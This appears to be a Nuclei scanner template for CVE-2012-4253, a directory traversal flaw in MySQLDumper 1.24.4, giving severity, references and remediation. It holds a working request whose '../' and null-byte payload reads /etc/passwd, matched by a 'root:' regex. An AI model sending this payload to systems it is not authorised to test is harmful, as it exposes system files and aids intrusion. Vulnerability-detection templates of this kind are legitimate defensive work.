id: CVE-2012-4253 info: name: MySQLDumper 1.24.4 - Directory Traversal author: daffainfo severity: medium description: Multiple directory traversal vulnerabilities in MySQLDumper 1.24.4 allow remote attackers to read arbitrary files via a .. (dot dot) in the (1) language parameter to learn/cubemail/install.php or (2) f parameter learn/cubemail/filemanagement.php, or execute arbitrary local files via a .. (dot dot) in the (3) config parameter to learn/cubemail/menu.php. remediation: | Upgrade to a patched version of MySQLDumper or apply the necessary security patches to fix the directory traversal vulnerability. reference: - https://www.exploit-db.com/exploits/37129 - https://nvd.nist.gov/vuln/detail/CVE-2012-4253 - http://packetstormsecurity.org/files/112304/MySQLDumper-1.24.4-LFI-XSS-CSRF-Code-Execution-Traversal.html - https://exchange.xforce.ibmcloud.com/vulnerabilities/75286 - https://exchange.xforce.ibmcloud.com/vulnerabilities/75283 classification: cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:N/A:N cvss-score: 4.3 cve-id: CVE-2012-4253 cwe-id: CWE-22 epss-score: 0.02906 epss-percentile: 0.89644 cpe: cpe:2.3:a:mysqldumper:mysqldumper:1.24.4:*:*:*:*:*:*:* metadata: max-request: 1 vendor: mysqldumper product: mysqldumper tags: packetstorm,cve,cve2012,lfi,edb http: - method: GET path: - "{{BaseURL}}/learn/cubemail/filemanagement.php?action=dl&f=../../../../../../../../../../../etc/passwd%00" matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - type: status status: - 200